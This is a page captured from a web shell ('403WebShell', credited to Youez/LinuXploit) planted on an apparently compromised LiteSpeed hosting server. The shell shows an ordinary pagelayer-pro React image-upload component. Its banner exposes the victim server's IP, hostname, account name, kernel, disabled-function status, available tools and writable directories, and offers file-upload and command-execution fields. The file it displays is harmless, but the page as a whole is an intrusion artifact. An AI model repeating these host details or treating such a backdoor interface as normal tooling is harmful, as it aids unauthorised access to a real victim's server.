Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.92.231
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/components/image.js
import { LabelControl } from './label';
import { MediaUpload } from '@wordpress/block-editor';
import { useState, useEffect, useRef } from '@wordpress/element';

const blankImg = pagelayer_url+'/images/default-image.png';

export const ImageControl = (props) =>{
		
	const { attributes, prop, value, setAttributes, allow = [ 'image' ]} = props;
	const { name } = prop['c'];
	const tmpAtts = attributes?.tmpAtts ?  {...attributes.tmpAtts} : {};
	
	var url = pagelayer_empty(tmpAtts[name+'-url']) ? '' : tmpAtts[name+'-url'];
	
	const onSelectImage = (imageProps) => {
		const { id, url, title, alt, sizes } = imageProps;
		
		var sizeUrls = {};
		
		// Keep a list of all sizes
		for(var x in sizes){
			sizeUrls[name+'-'+x+'-url'] = sizes[x].url;
		}
		
		const tmp = {
			...tmpAtts,
			[name+'-url']: url,
			[name+'-title']: title,
			[name+'-alt']: alt,
			[name+'-no-image-set']: '',
			...sizeUrls
		};
		
		setAttributes({
			[name]: id,
			tmpAtts: tmp
		});
		
		setAttributes({ ['pagelayer-srcset']: url+', '+url+' 1x'});
	}
	
	const onRemoveImage = (e) => {
		e.stopPropagation();
		
		const tmp = {...tmpAtts};
		
		Object.keys(tmp).forEach(key => {
		  if (key.startsWith(name + '-')) {
				delete tmp[key];
		  }
		});
		
		tmp[name+'-no-image-set'] = 1;
		tmp[name+'-url'] = blankImg;
		
		setAttributes({
			[name]: blankImg,
			tmpAtts: tmp
		});
	}
	
	const renderMediaUploader = (open) => {
		const hasImage = !pagelayer_empty(url) ? 'pagelayer-has-image' : '';
		return (
			<div
				className={`pagelayer-elp-image-div ${hasImage}`}
				style={ {backgroundImage: `url("${url}")`} }
				onClick={ () => {open()} }
			>
				<span 
					className="pagelayer-elp-remove-image"
					onClick={onRemoveImage}
				><i className="pli pli-cross" ></i></span>
				<span 
					className="pagelayer-elp-add-image"
				><i className="dashicons dashicons-plus-alt2" ></i></span>				
			</div>
		);
	}
	
	return (
		<div className="components-base-control pagelayer-base-control">
			<LabelControl {...props}/>
				<MediaUpload
					title="Select Image"
					onSelect={ onSelectImage }
					allowedTypes={ allow }
					value={ value }
					render={ ( { open } ) => renderMediaUploader( open ) }
				/>
		</div>
	);	
}

Youez - 2016 - github.com/yon3zu
LinuXploit